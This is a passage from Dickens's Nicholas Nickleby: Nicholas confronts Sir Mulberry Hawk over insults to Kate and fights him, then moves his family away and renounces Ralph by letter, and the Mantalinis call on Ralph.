noisy party of four +gentlemen in a box by the fire-place, and only two other persons +present--both elderly gentlemen, and both alone. + +Observing all this in the first comprehensive glance with which a +stranger surveys a place that is new to him, Nicholas sat himself +down in the box next to the noisy party, with his back towards them, +and postponing his order for a pint of claret until such time as the +waiter and one of the elderly gentlemen should have settled a +disputed question relative to the price of an item in the bill of +fare, took up a newspaper and began to read. + +He had not read twenty lines, and was in truth himself dozing, when +he was startled by the mention of his sister's name. 'Little Kate +Nickleby' were the words that caught his ear. He raised his head in +amazement, and as he did so, saw by the reflection in the opposite +glass, that two of the party behind him had risen and were standing +before the fire. 'It must have come from one of them,' thought +Nicholas. He waited to hear more with a countenance of some +indignation, for the tone of speech had been anything but +respectful, and the appearance of the individual whom he presumed to +have been the speaker was coarse and swaggering. + +This person--so Nicholas observed in the same glance at the mirror +which had enabled him to see his face--was standing with his back to +the fire conversing with a younger man, who stood with his back to +the company, wore his hat, and was adjusting his shirt-collar by the +aid of the glass. They spoke in whispers, now and then bursting +into a loud laugh, but Nicholas could catch no repetition of the +words, nor anything sounding at all like the words, which had +attracted his attention. + +At length the two resumed their seats, and more wine being ordered, +the party grew louder in their mirth. Still there was no reference +made to anybody with whom he was acquainted, and Nicholas became +persuaded that his excited fancy had either imagined the sounds +altogether, or converted some other words into the name which had +been so much in his thoughts. + +'It is remarkable too,' thought Nicholas: 'if it had been "Kate" or +"Kate Nickleby," I should not have been so much surprised: but +"little Kate Nickleby!"' + +The wine coming at the moment prevented his finishing the sentence. +He swallowed a glassful and took up the paper again. At that +instant-- + +'Little Kate Nickleby!' cried the voice behind him. + +'I was right,' muttered Nicholas as the paper fell from his hand. +'And it was the man I supposed.' + +'As there was a proper objection to drinking her in heel-taps,' said +the voice, 'we'll give her the first glass in the new magnum. +Little Kate Nickleby!' + +'Little Kate Nickleby,' cried the other three. And the glasses were +set down empty. + +Keenly alive to the tone and manner of this slight and careless +mention of his sister's name in a public place, Nicholas fired at +once; but he kept himself quiet by a great effort, and did not even +turn his head. + +'The jade!' said the same voice which had spoken before. 'She's a +true Nickleby--a worthy imitator of her old uncle Ralph--she hangs +back to be more sought after--so does he; nothing to be got out of +Ralph unless you follow him up, and then the money comes doubly +welcome, and the bargain doubly hard, for you're impatient and he +isn't. Oh! infernal cunning.' + +'Infernal cunning,' echoed two voices. + +Nicholas was in a perfect agony as the two elderly gentlemen +opposite, rose one after the other and went away, lest they should +be the means of his losing one word of what was said. But the +conversation was suspended as they withdrew, and resumed with even +greater freedom when they had left the room. + +'I am afraid,' said the younger gentleman, 'that the old woman has +grown jea-a-lous, and locked her up. Upon my soul it looks like +it.' + +'If they quarrel and little Nickleby goes home to her mother, so +much the better,' said the first. 'I can do anything with the old +lady. She'll believe anything I tell her.' + +'Egad that's true,' returned the other voice. 'Ha, ha, ha! Poor +deyvle!' + +The laugh was taken up by the two voices which always came in +together, and became general at Mrs Nickleby's expense. Nicholas +turned burning hot with rage, but he commanded himself for the +moment, and waited to hear more. + +What he heard need not be repeated here. Suffice it that as the +wine went round he heard enough to acquaint him with the characters +and designs of those whose conversation he overhead; to possess him +with the full extent of Ralph's villainy, and the real reason of his +own presence being required in London. He heard all this and more. +He heard his sister's sufferings derided, and her virtuous conduct +jeered at and brutally misconstrued; he heard her name bandied from +mouth to mouth, and herself made the subject of coarse and insolent +wagers, free speech, and licentious jesting. + +The man who had spoken first, led the conversation, and indeed +almost engrossed it, being only stimulated from time to time by some +slight observation from one or other of his companions. To him then +Nicholas addressed himself when he was sufficiently composed to +stand before the party, and force the words from his parched and +scorching throat. + +'Let me have a word with you, sir,' said Nicholas. + +'With me, sir?' retorted Sir Mulberry Hawk, eyeing him in disdainful +surprise. + +'I said with you,' replied Nicholas, speaking with great difficulty, +for his passion choked him. + +'A mysterious stranger, upon my soul!' exclaimed Sir Mulberry, +raising his wine-glass to his lips, and looking round upon his +friends. + +'Will you step apart with me for a few minutes, or do you refuse?' +said Nicholas sternly. + +Sir Mulberry merely paused in the act of drinking, and bade him +either name his business or leave the table. + +Nicholas drew a card from his pocket, and threw it before him. + +'There, sir,' said Nicholas; 'my business you will guess.' + +A momentary expression of astonishment, not unmixed with some +confusion, appeared in the face of Sir Mulberry as he read the name; +but he subdued it in an instant, and tossing the card to Lord +Verisopht, who sat opposite, drew a toothpick from a glass before +him, and very leisurely applied it to his mouth. + +'Your name and address?' said Nicholas, turning paler as his passion +kindled. + +'I shall give you neither,' replied Sir Mulberry. + +'If there is a gentleman in this party,' said Nicholas, looking +round and scarcely able to make his white lips form the words, 'he +will acquaint me with the name and residence of this man.' + +There was a dead silence. + +'I am the brother of the young lady who has been the subject of +conversation here,' said Nicholas. 'I denounce this person as a +liar, and impeach him as a coward. If he has a friend here, he will +save him the disgrace of the paltry attempt to conceal his name--and +utterly useless one--for I will find it out, nor leave him until I +have.' + +Sir Mulberry looked at him contemptuously, and, addressing his +companions, said-- + +'Let the fellow talk, I have nothing serious to say to boys of his +station; and his pretty sister shall save him a broken head, if he +talks till midnight.' + +'You are a base and spiritless scoundrel!' said Nicholas, 'and shall +be proclaimed so to the world. I WILL know you; I will follow you +home if you walk the streets till morning.' + +Sir Mulberry's hand involuntarily closed upon the decanter, and he +seemed for an instant about to launch it at the head of his +challenger. But he only filled his glass, and laughed in derision. + +Nicholas sat himself down, directly opposite to the party, and, +summoning the waiter, paid his bill. + +'Do you know that person's name?' he inquired of the man in an +audible voice; pointing out Sir Mulberry as he put the question. + +Sir Mulberry laughed again, and the two voices which had always +spoken together, echoed the laugh; but rather feebly. + +'That gentleman, sir?' replied the waiter, who, no doubt, knew his +cue, and answered with just as little respect, and just as much +impertinence as he could safely show: 'no, sir, I do not, sir.' + +'Here, you sir,' cried Sir Mulberry, as the man was retiring; 'do +you know THAT person's name?' + +'Name, sir? No, sir.' + +'Then you'll find it there,' said Sir Mulberry, throwing Nicholas's +card towards him; 'and when you have made yourself master of it, put +that piece of pasteboard in the fire--do you hear me?' + +The man grinned, and, looking doubtfully at Nicholas, compromised +the matter by sticking the card in the chimney-glass. Having done +this, he retired. + +Nicholas folded his arms, and biting his lip, sat perfectly quiet; +sufficiently expressing by his manner, however, a firm determination +to carry his threat of following Sir Mulberry home, into steady +execution. + +It was evident from the tone in which the younger member of the +party appeared to remonstrate with his friend, that he objected to +this course of proceeding, and urged him to comply with the request +which Nicholas had made. Sir Mulberry, however, who was not quite +sober, and who was in a sullen and dogged state of obstinacy, soon +silenced the representations of his weak young friend, and further +seemed--as if to save himself from a repetition of them--to insist +on being left alone. However this might have been, the young +gentleman and the two who had always spoken together, actually rose +to go after a short interval, and presently retired, leaving their +friend alone with Nicholas. + +It will be very readily supposed that to one in the condition of +Nicholas, the minutes appeared to move with leaden wings indeed, and +that their progress did not seem the more rapid from the monotonous +ticking of a French clock, or the shrill sound of its little bell +which told the quarters. But there he sat; and in his old seat on +the opposite side of the room reclined Sir Mulberry Hawk, with his +legs upon the cushion, and his handkerchief thrown negligently over +his knees: finishing his magnum of claret with the utmost coolness +and indifference. + +Thus they remained in perfect silence for upwards of an hour-- +Nicholas would have thought for three hours at least, but that the +little bell had only gone four times. Twice or thrice he looked +angrily and impatiently round; but there was Sir Mulberry in the +same attitude, putting his glass to his lips from time to time, and +looking vacantly at the wall, as if he were wholly ignorant of the +presence of any living person. + +At length he yawned, stretched himself, and rose; walked coolly to +the glass, and having surveyed himself therein, turned round and +honoured Nicholas with a long and contemptuous stare. Nicholas +stared again with right good-will; Sir Mulberry shrugged his +shoulders, smiled slightly, rang the bell, and ordered the waiter to +help him on with his greatcoat. + +The man did so, and held the door open. + +'Don't wait,' said Sir Mulberry; and they were alone again. + +Sir Mulberry took several turns up and down the room, whistling +carelessly all the time; stopped to finish the last glass of claret +which he had poured out a few minutes before, walked again, put on +his hat, adjusted it by the glass, drew on his gloves, and, at last, +walked slowly out. Nicholas, who had been fuming and chafing until +he was nearly wild, darted from his seat, and followed him: so +closely, that before the door had swung upon its hinges after Sir +Mulberry's passing out, they stood side by side in the street +together. + +There was a private cabriolet in waiting; the groom opened the +apron, and jumped out to the horse's head. + +'Will you make yourself known to me?' asked Nicholas in a suppressed +voice. + +'No,' replied the other fiercely, and confirming the refusal with an +oath. 'No.' + +'If you trust to your horse's speed, you will find yourself +mistaken,' said Nicholas. 'I will accompany you. By Heaven I will, +if I hang on to the foot-board.' + +'You shall be horsewhipped if you do,' returned Sir Mulberry. + +'You are a villain,' said Nicholas. + +'You are an errand-boy for aught I know,' said Sir Mulberry Hawk. + +'I am the son of a country gentleman,' returned Nicholas, 'your +equal in birth and education, and your superior I trust in +everything besides. I tell you again, Miss Nickleby is my sister. +Will you or will you not answer for your unmanly and brutal +conduct?' + +'To a proper champion--yes. To you--no,' returned Sir Mulberry, +taking the reins in his hand. 'Stand out of the way, dog. William, +let go her head.' + +'You had better not,' cried Nicholas, springing on the step as Sir +Mulberry jumped in, and catching at the reins. 'He has no command +over the horse, mind. You shall not go--you shall not, I swear-- +till you have told me who you are.' + +The groom hesitated, for the mare, who was a high-spirited animal +and thorough-bred, plunged so violently that he could scarcely hold +her. + +'Leave go, I tell you!' thundered his master. + +The man obeyed. The animal reared and plunged as though it would +dash the carriage into a thousand pieces, but Nicholas, blind to all +sense of danger, and conscious of nothing but his fury, still +maintained his place and his hold upon the reins. + +'Will you unclasp your hand?' + +'Will you tell me who you are?' + +'No!' + +'No!' + +In less time than the quickest tongue could tell it, these words +were exchanged, and Sir Mulberry shortening his whip, applied it +furiously to the head and shoulders of Nicholas. It was broken in +the struggle; Nicholas gained the heavy handle, and with it laid +open one side of his antagonist's face from the eye to the lip. He +saw the gash; knew that the mare had darted off at a wild mad +gallop; a hundred lights danced in his eyes, and he felt himself +flung violently upon the ground. + +He was giddy and sick, but staggered to his feet directly, roused by +the loud shouts of the men who were tearing up the street, and +screaming to those ahead to clear the way. He was conscious of a +torrent of people rushing quickly by--looking up, could discern the +cabriolet whirled along the foot-pavement with frightful rapidity-- +then heard a loud cry, the smashing of some heavy body, and the +breaking of glass--and then the crowd closed in in the distance, and +he could see or hear no more. + +The general attention had been entirely directed from himself to the +person in the carriage, and he was quite alone. Rightly judging +that under such circumstances it would be madness to follow, he +turned down a bye-street in search of the nearest coach-stand, +finding after a minute or two that he was reeling like a drunken +man, and aware for the first time of a stream of blood that was +trickling down his face and breast. + + + +CHAPTER 33 + +In which Mr Ralph Nickleby is relieved, by a very expeditious +Process, from all Commerce with his Relations + + +Smike and Newman Noggs, who in his impatience had returned home long +before the time agreed upon, sat before the fire, listening +anxiously to every footstep on the stairs, and the slightest sound +that stirred within the house, for the approach of Nicholas. Time +had worn on, and it was growing late. He had promised to be back in +an hour; and his prolonged absence began to excite considerable +alarm in the minds of both, as was abundantly testified by the blank +looks they cast upon each other at every new disappointment. + +At length a coach was heard to stop, and Newman ran out to light +Nicholas up the stairs. Beholding him in the trim described at the +conclusion of the last chapter, he stood aghast in wonder and +consternation. + +'Don't be alarmed,' said Nicholas, hurrying him back into the room. +'There is no harm done, beyond what a basin of water can repair.' + +'No harm!' cried Newman, passing his hands hastily over the back and +arms of Nicholas, as if to assure himself that he had broken no +bones. 'What have you been doing?' + +'I know all,' interrupted Nicholas; 'I have heard a part, and +guessed the rest. But before I remove one jot of these stains, I +must hear the whole from you. You see I am collected. My +resolution is taken. Now, my good friend, speak out; for the time +for any palliation or concealment is past, and nothing will avail +Ralph Nickleby now.' + +'Your dress is torn in several places; you walk lame, and I am sure +you are suffering pain,' said Newman. 'Let me see to your hurts +first.' + +'I have no hurts to see to, beyond a little soreness and stiffness +that will soon pass off,' said Nicholas, seating himself with some +difficulty. 'But if I had fractured every limb, and still preserved +my senses, you should not bandage one till you had told me what I +have the right to know. Come,' said Nicholas, giving his hand to +Noggs. 'You had a sister of your own, you told me once, who died +before you fell into misfortune. Now think of her, and tell me, +Newman.' + +'Yes, I will, I will,' said Noggs. 'I'll tell you the whole truth.' + +Newman did so. Nicholas nodded his head from time to time, as it +corroborated the particulars he had already gleaned; but he fixed +his eyes upon the fire, and did not look round once. + +His recital ended, Newman insisted upon his young friend's stripping +off his coat and allowing whatever injuries he had received to be +properly tended. Nicholas, after some opposition, at length +consented, and, while some pretty severe bruises on his arms and +shoulders were being rubbed with oil and vinegar, and various other +efficacious remedies which Newman borrowed from the different +lodgers, related in what manner they had been received. The recital +made a strong impression on the warm imagination of Newman; for when +Nicholas came to the violent part of the quarrel, he rubbed so hard, +as to occasion him the most exquisite pain, which he would not have +exhibited, however, for the world, it being perfectly clear that, +for the moment, Newman was operating on Sir Mulberry Hawk, and had +quite lost sight of his real patient. + +This martyrdom over, Nicholas arranged with Newman that while he was +otherwise occupied next morning, arrangements should be made for his +mother's immediately quitting her present residence, and also for +dispatching Miss La Creevy to break the intelligence to her. He +then wrapped himself in Smike's greatcoat, and repaired to the inn +where they were to pass the night, and where (after writing a few +lines to Ralph, the delivery of which was to be intrusted to Newman +next day), he endeavoured to obtain the repose of which he stood so +much in need. + +Drunken men, they say, may roll down precipices, and be quite +unconscious of any serious personal inconvenience when their reason +returns. The remark may possibly apply to injuries received in +other kinds of violent excitement: certain it is, that although +Nicholas experienced some pain on first awakening next morning, he +sprung out of bed as the clock struck seven, with very little +difficulty, and was soon as much on the alert as if nothing had +occurred. + +Merely looking into Smike's room, and telling him that Newman Noggs +would call for him very shortly, Nicholas descended into the street, +and calling a hackney coach, bade the man drive to Mrs Wititterly's, +according to the direction which Newman had given him on the +previous night. + +It wanted a quarter to eight when they reached Cadogan Place. +Nicholas began to fear that no one might be stirring at that early +hour, when he was relieved by the sight of a female servant, +employed in cleaning the door-steps. By this functionary he was +referred to the doubtful page, who appeared with dishevelled hair +and a very warm and glossy face, as of a page who had just got out +of bed. + +By this young gentleman he was informed that Miss Nickleby was then +taking her morning's walk in the gardens before the house. On the +question being propounded whether he could go and find her, the page +desponded and thought not; but being stimulated with a shilling, the +page grew sanguine and thought he could. + +'Say to Miss Nickleby that her brother is here, and in great haste +to see her,' said Nicholas. + +The plated buttons disappeared with an alacrity most unusual to +them, and Nicholas paced the room in a state of feverish agitation +which made the delay even of a minute insupportable. He soon heard +a light footstep which he well knew, and before he could advance to +meet her, Kate had fallen on his neck and burst into tears. + +'My darling girl,' said Nicholas as he embraced her. 'How pale you +are!' + +'I have been so unhappy here, dear brother,' sobbed poor Kate; 'so +very, very miserable. Do not leave me here, dear Nicholas, or I +shall die of a broken heart.' + +'I will leave you nowhere,' answered Nicholas--'never again, Kate,' +he cried, moved in spite of himself as he folded her to his heart. +'Tell me that I acted for the best. Tell me that we parted because +I feared to bring misfortune on your head; that it was a trial to me +no less than to yourself, and that if I did wrong it was in +ignorance of the world and unknowingly.' + +'Why should I tell you what we know so well?' returned Kate +soothingly. 'Nicholas--dear Nicholas--how can you give way thus?' + +'It is such bitter reproach to me to know what you have undergone,' +returned her brother; 'to see you so much altered, and yet so kind +and patient--God!' cried Nicholas, clenching his fist and suddenly +changing his tone and manner, 'it sets my whole blood on fire again. +You must leave here with me directly; you should not have slept here +last night, but that I knew all this too late. To whom can I speak, +before we drive away?' + +This question was most opportunely put, for at that instant Mr +Wititterly walked in, and to him Kate introduced her brother, who at +once announced his purpose, and the impossibility of deferring it. + +'The quarter's notice,' said Mr Wititterly, with the gravity of a +man on the right side, 'is not yet half expired. Therefore--' + +'Therefore,' interposed Nicholas, 'the quarter's salary must be +lost, sir. You will excuse this extreme haste, but circumstances +require that I should immediately remove my sister, and I have not a +moment's time to lose. Whatever she brought here I will send for, +if you will allow me, in the course of the day.' + +Mr Wititterly bowed, but offered no opposition to Kate's immediate +departure; with which, indeed, he was rather gratified than +otherwise, Sir Tumley Snuffim having given it as his opinion, that +she rather disagreed with Mrs Wititterly's constitution. + +'With regard to the trifle of salary that is due,' said Mr +Wititterly, 'I will'--here he was interrupted by a violent fit of +coughing--'I will--owe it to Miss Nickleby.' + +Mr Wititterly, it should be observed, was accustomed to owe small +accounts, and to leave them owing. All men have some little +pleasant way of their own; and this was Mr Wititterly's. + +'If you please,' said Nicholas. And once more offering a hurried +apology for so sudden a departure, he hurried Kate into the vehicle, +and bade the man drive with all speed into the city. + +To the city they went accordingly, with all the speed the hackney +coach could make; and as the horses happened to live at Whitechapel +and to be in the habit of taking their breakfast there, when they +breakfasted at all, they performed the journey with greater +expedition than could reasonably have been expected. + +Nicholas sent Kate upstairs a few minutes before him, that his +unlooked-for appearance might not alarm his mother, and when the way +had been paved, presented himself with much duty and affection. +Newman had not been idle, for there was a little cart at the door, +and the effects were hurrying out already. + +Now, Mrs Nickleby was not the sort of person to be told anything in +a hurry, or rather to comprehend anything of peculiar delicacy or +importance on a short notice. Wherefore, although the good lady had +been subjected to a full hour's preparation by little Miss La +Creevy, and was now addressed in most lucid terms both by Nicholas +and his sister, she was in a state of singular bewilderment and +confusion, and could by no means be made to comprehend the necessity +of such hurried proceedings. + +'Why don't you ask your uncle, my dear Nicholas, what he can +possibly mean by it?' said Mrs Nickleby. + +'My dear mother,' returned Nicholas, 'the time for talking has gone +by. There is but one step to take, and that is to cast him off with +the scorn and indignation he deserves. Your own honour and good +name demand that, after the discovery of his vile proceedings, you +should not be beholden to him one hour, even for the shelter of +these bare walls.' + +'To be sure,' said Mrs Nickleby, crying bitterly, 'he is a brute, a +monster; and the walls are very bare, and want painting too, and I +have had this ceiling whitewashed at the expense of eighteen-pence, +which is a very distressing thing, considering that it is so much +gone into your uncle's pocket. I never could have believed it-- +never.' + +'Nor I, nor anybody else,' said Nicholas. + +'Lord bless my life!' exclaimed Mrs Nickleby. 'To think that that +Sir Mulberry Hawk should be such an abandoned wretch as Miss La +Creevy says he is, Nicholas, my dear; when I was congratulating +myself every day on his being an admirer of our dear Kate's, and +thinking what a thing it would be for the family if he was to become +connected with us, and use his interest to get you some profitable +government place. There are very good places to be got about the +court, I know; for a friend of ours (Miss Cropley, at Exeter, my +dear Kate, you recollect), he had one, and I know that it was the +chief part of his duty to wear silk stockings, and a bag wig like a +black watch-pocket; and to think that it should come to this after +all--oh, dear, dear, it's enough to kill one, that it is!' With +which expressions of sorrow, Mrs Nickleby gave fresh vent to her +grief, and wept piteously. + +As Nicholas and his sister were by this time compelled to +superintend the removal of the few articles of furniture, Miss La +Creevy devoted herself to the consolation of the matron, and +observed with great kindness of manner that she must really make an +effort, and cheer up. + +'Oh I dare say, Miss La Creevy,' returned Mrs Nickleby, with a +petulance not unnatural in her unhappy circumstances, 'it's very +easy to say cheer up, but if you had as many occasions to cheer up +as I have had--and there,' said Mrs Nickleby, stopping short. +'Think of Mr Pyke and Mr Pluck, two of the most perfect gentlemen +that ever lived, what am I too say to them--what can I say to them? +Why, if I was to say to them, "I'm told your friend Sir Mulberry is +a base wretch," they'd laugh at me.' + +'They will laugh no more at us, I take it,' said Nicholas, +advancing. 'Come, mother, there is a coach at the door, and until +Monday, at all events, we will return to our old quarters.' + +'--Where everything is ready, and a hearty welcome into the +bargain,' added Miss La Creevy. 'Now, let me go with you +downstairs.' + +But Mrs Nickleby was not to be so easily moved, for first she +insisted on going upstairs to see that nothing had been left, and +then on going downstairs to see that everything had been taken away; +and when she was getting into the coach she had a vision of a +forgotten coffee-pot on the back-kitchen hob, and after she was shut +in, a dismal recollection of a green umbrella behind some unknown +door. At last Nicholas, in a condition of absolute despair, ordered +the coachman to drive away, and in the unexpected jerk of a sudden +starting, Mrs Nickleby lost a shilling among the straw, which +fortunately confined her attention to the coach until it was too +late to remember anything else. + +Having seen everything safely out, discharged the servant, and +locked the door, Nicholas jumped into a cabriolet and drove to a bye +place near Golden Square where he had appointed to meet Noggs; and +so quickly had everything been done, that it was barely half-past +nine when he reached the place of meeting. + +'Here is the letter for Ralph,' said Nicholas, 'and here the key. +When you come to me this evening, not a word of last night. Ill +news travels fast, and they will know it soon enough. Have you +heard if he was much hurt?' + +Newman shook his head. + +'I will ascertain that myself without loss of time,' said Nicholas. + +'You had better take some rest,' returned Newman. 'You are fevered +and ill.' + +Nicholas waved his hand carelessly, and concealing the indisposition +he really felt, now that the excitement which had sustained him was +over, took a hurried farewell of Newman Noggs, and left him. + +Newman was not three minutes' walk from Golden Square, but in the +course of that three minutes he took the letter out of his hat and +put it in again twenty times at least. First the front, then the +back, then the sides, then the superscription, then the seal, were +objects of Newman's admiration. Then he held it at arm's length as +if to take in the whole at one delicious survey, and then he rubbed +his hands in a perfect ecstasy with his commission. + +He reached the office, hung his hat on its accustomed peg, laid the +letter and key upon the desk, and waited impatiently until Ralph +Nickleby should appear. After a few minutes, the well-known +creaking of his boots was heard on the stairs, and then the bell +rung. + +'Has the post come in?' + +'No.' + +'Any other letters?' + +'One.' Newman eyed him closely, and laid it on the desk. + +'What's this?' asked Ralph, taking up the key. + +'Left with the letter;--a boy brought them--quarter of an hour ago, +or less.' + +Ralph glanced at the direction, opened the letter, and read as +follows:-- + +'You are known to me now. There are no reproaches I could heap upon +your head which would carry with them one thousandth part of the +grovelling shame that this assurance will awaken even in your +breast. + +'Your brother's widow and her orphan child spurn the shelter of your +roof, and shun you with disgust and loathing. Your kindred renounce +you, for they know no shame but the ties of blood which bind them in +name with you. + +'You are an old man, and I leave you to the grave. May every +recollection of your life cling to your false heart, and cast their +darkness on your death-bed.' + +Ralph Nickleby read this letter twice, and frowning heavily, fell +into a fit of musing; the paper fluttered from his hand and dropped +upon the floor, but he clasped his fingers, as if he held it still. + +Suddenly, he started from his seat, and thrusting it all crumpled +into his pocket, turned furiously to Newman Noggs, as though to ask +him why he lingered. But Newman stood unmoved, with his back +towards him, following up, with the worn and blackened stump of an +old pen, some figures in an Interest-table which was pasted against +the wall, and apparently quite abstracted from every other object. + + + +CHAPTER 34 + +Wherein Mr Ralph Nickleby is visited by Persons with whom the Reader +has been already made acquainted + + +'What a demnition long time you have kept me ringing at this +confounded old cracked tea-kettle of a bell, every tinkle of which +is enough to throw a strong man into blue convulsions, upon my life +and soul, oh demmit,'--said Mr Mantalini to Newman Noggs, scraping +his boots, as he spoke, on Ralph Nickleby's scraper. + +'I didn't hear the bell more than once,' replied Newman. + +'Then you are most immensely and outr-i-geously deaf,' said Mr +Mantalini, 'as deaf as a demnition post.' + +Mr Mantalini had got by this time into the passage, and was making +his way to the door of Ralph's office with very little ceremony, +when Newman interposed his body; and hinting that Mr Nickleby was +unwilling to be disturbed, inquired whether the client's business +was of a pressing nature. + +'It is most demnebly particular,' said Mr Mantalini. 'It is to melt +some scraps of dirty paper into bright, shining, chinking, tinkling, +demd mint sauce.' + +Newman uttered a significant grunt, and taking Mr Mantalini's +proffered card, limped with it into his master's office. As he +thrust his head in at the door, he saw that Ralph had resumed the +thoughtful posture into which he had fallen after perusing his +nephew's letter, and that he seemed to have been reading it again, +as he once more held it open in his hand. The glance was but +momentary, for Ralph, being disturbed, turned to demand the cause of +the interruption. + +As Newman stated it, the cause himself swaggered into the room, and +grasping Ralph's horny hand with uncommon affection, vowed that he +had never seen him looking so well in all his life. + +'There is quite a bloom upon your demd countenance,' said Mr +Mantalini, seating himself unbidden, and arranging his hair and +whiskers. 'You look quite juvenile and jolly, demmit!' + +'We are alone,' returned Ralph, tartly. 'What do you want with me?' + +'Good!' cried Mr Mantalini, displaying his teeth. 'What did I want! +Yes. Ha, ha! Very good. WHAT did I want. Ha, ha. Oh dem!' + +'What DO you want, man?' demanded Ralph, sternly. + +'Demnition discount,' returned Mr Mantalini, with a grin, and +shaking his head waggishly. + +'Money is scarce,' said Ralph. + +'Demd scarce, or I shouldn't want it,' interrupted Mr Mantalini. + +'The times are bad, and one scarcely knows whom to trust,' continued +Ralph. 'I don't want to do business just now, in fact I would +rather not; but as you are a friend--how many bills have you there?' + +'Two,' returned Mr Mantalini. + +'What is the gross amount?' + +'Demd trifling--five-and-seventy.' + +'And the dates?' + +'Two months, and four.' + +'I'll do them for you--mind, for YOU; I wouldn't for many people-- +for five-and-twenty pounds,' said Ralph, deliberately. + +'Oh demmit!' cried Mr Mantalini, whose face lengthened considerably +at this handsome proposal. + +'Why, that leaves you fifty,' retorted Ralph. 'What would you have? +Let me see the names.' + +'You are so demd hard, Nickleby,' remonstrated Mr Mantalini. + +'Let me see the names,' replied Ralph, impatiently extending his +hand for the bills. 'Well! They are not sure, but they are safe +enough. Do you consent to the terms, and will you take the money? +I don't want you to do so. I would rather you didn't.' + +'Demmit, Nickleby, can't you--' began Mr Mantalini. + +'No,' replied Ralph, interrupting him. 'I can't. Will you take the +money--down, mind; no delay, no going into the city and pretending +to negotiate with some other party who has no existence, and never +had. Is it a bargain, or is it not?' + +Ralph pushed some papers from him as he spoke, and carelessly +rattled his cash-box, as though by mere accident. The sound was too +much for Mr Mantalini. He closed the bargain directly it reached +his ears, and Ralph told the money out upon the table. + +He had scarcely done so, and Mr Mantalini had not yet gathered it +all up, when a ring was heard at the bell, and immediately +afterwards Newman ushered in no less a person than Madame Mantalini, +at sight of whom Mr Mantalini evinced considerable discomposure, and +swept the cash into his pocket with remarkable alacrity. + +'Oh, you ARE here,' said Madame Mantalini, tossing her head. + +'Yes, my life and soul, I am,' replied her husband, dropping on his +knees, and pouncing with kitten-like playfulness upon a stray +sovereign. 'I am here, my soul's delight, upon Tom Tiddler's ground, +picking up the demnition gold and silver.' + +'I am ashamed of you,' said Madame Mantalini, with much indignation. + +'Ashamed--of ME, my joy? It knows it is talking demd charming +sweetness, but naughty fibs,' returned Mr Mantalini. 'It knows it +is not ashamed of its own popolorum tibby.' + +Whatever were the circumstances which had led to such a result, it +certainly appeared as though the popolorum tibby had rather +miscalculated, for the nonce, the extent of his lady's affection. +Madame Mantalini only looked scornful in reply; and, turning to +Ralph, begged him to excuse her intrusion. + +'Which is entirely attributable,' said Madame, 'to the gross +misconduct and most improper behaviour of Mr Mantalini.' + +'Of me, my essential juice of pineapple!' + +'Of you,' returned his wife. 'But I will not allow it. I will not +submit to be ruined by the extravagance and profligacy of any man. +I call Mr Nickleby to witness the course I intend to pursue with +you.' + +'Pray don't call me to witness anything, ma'am,' said Ralph. +'Settle it between yourselves, settle it between yourselves.' + +'No, but I must beg you as a favour,' said Madame Mantalini, 'to +hear me give him notice of what it is my fixed intention to do--my +fixed intention, sir,' repeated Madame Mantalini, darting an angry +look at her husband. + +'Will she call me "Sir"?' cried Mantalini. 'Me who dote upon her +with the demdest ardour! She, who coils her fascinations round me +like a pure angelic rattlesnake! It will be all up with my +feelings; she will throw me into a demd state.' + +'Don't talk of feelings, sir,' rejoined Madame Mantalini, seating +herself, and turning her back upon him. 'You don't consider mine.' + +'I do not consider yours, my soul!' exclaimed Mr Mantalini. + +'No,' replied his wife. + +And notwithstanding various blandishments on the part of Mr +Mantalini, Madame Mantalini still said no, and said it too with such +determined and resolute ill-temper, that Mr Mantalini was clearly +taken aback. + +'His extravagance, Mr Nickleby,' said Madame Mantalini, addressing +herself to Ralph, who leant against his easy-chair with his hands +behind him, and regarded the amiable couple with a smile of the +supremest and most unmitigated contempt,--'his extravagance is +beyond all bounds.' + +'I should scarcely have supposed it,' answered Ralph, sarcastically. + +'I assure you, Mr Nickleby, however, that it is,' returned Madame +Mantalini. 'It makes me miserable! I am under constant +apprehensions, and in constant difficulty. And even this,' said +Madame Mantalini, wiping her eyes, 'is not the worst. He took some +papers of value out of my desk this morning without asking my +permission.' + +Mr Mantalini groaned slightly, and buttoned his trousers pocket. + +'I am obliged,' continued Madame Mantalini, 'since our late +misfortunes, to pay Miss Knag a great deal of money for having her +name in the business, and I really cannot afford to encourage him in +all his wastefulness. As I have no doubt that he came straight +here, Mr Nickleby, to convert the papers I have spoken of, into +money, and as you have assisted us very often before, and are very +much connected with us in this kind of matters, I wish you to know +the determination at which his conduct has compelled me to arrive.' + +Mr Mantalini groaned once more from behind his wife's bonnet, and +fitting a sovereign into one of his eyes, winked with the other at +Ralph. Having achieved this performance with great dexterity, he +whipped the coin into his pocket, and groaned again with increased +penitence. + +'I have made up my mind,' said Madame Mantalini, as tokens of +impatience manifested themselves in Ralph's countenance, 'to +allowance him.' + +'To do that, my joy?' inquired Mr Mantalini, who did not seem to +have caught the words. + +'To put him,' said Madame Mantalini, looking at Ralph, and prudently +abstaining from the slightest glance at her husband, lest his many +graces should induce her to falter in her resolution, 'to put him +upon a fixed allowance; and I say that if he has a hundred and +twenty pounds a year for his clothes and pocket-money, he may +consider himself a very fortunate man.' + +Mr Mantalini waited, with much decorum, to hear the amount of the +proposed stipend, but when it reached his ears, he cast his hat and +cane upon the floor, and drawing out his pocket-handkerchief, gave +vent to his feelings in a dismal moan. + +'Demnition!' cried Mr Mantalini, suddenly skipping out of his chair, +and as suddenly skipping into it again, to the great discomposure of +his lady's nerves. 'But no. It is a demd horrid dream. It is not +reality. No!' + +Comforting himself with this assurance, Mr Mantalini closed his eyes +and waited patiently till such time as he should wake up. + +'A very judicious arrangement,' observed Ralph with a sneer, 'if +your husband will keep within it, ma'am--as no doubt he will.' + +'Demmit!' exclaimed Mr Mantalini, opening his eyes at the sound of +Ralph's voice, 'it is a horrid reality. She is sitting there before +me. There is the graceful outline of her form; it cannot be +mistaken--there is nothing like it. The two countesses had no +outlines at all, and the dowager's was a demd outline. Why is she +so excruciatingly beautiful that I cannot be angry with her, even +now?' + +'You have brought it upon yourself, Alfred,' returned Madame +Mantalini--still reproachfully, but in a softened tone. + +'I am a demd villain!' cried Mr Mantalini, smiting himself on the +head. 'I will fill my pockets with change for a sovereign in +halfpence and drown myself in the Thames; but I will not be angry +with her, even then, for I will put a note in the twopenny-post as I +go along, to tell her where the body is. She will be a lovely +widow. I shall be a body. Some handsome women will cry; she will +laugh demnebly.' + +'Alfred, you cruel, cruel creature,' said Madame Mantalini, sobbing +at the dreadful picture. + +'She calls me cruel--me--me--who for her sake will become a demd, +damp, moist, unpleasant body!' exclaimed Mr 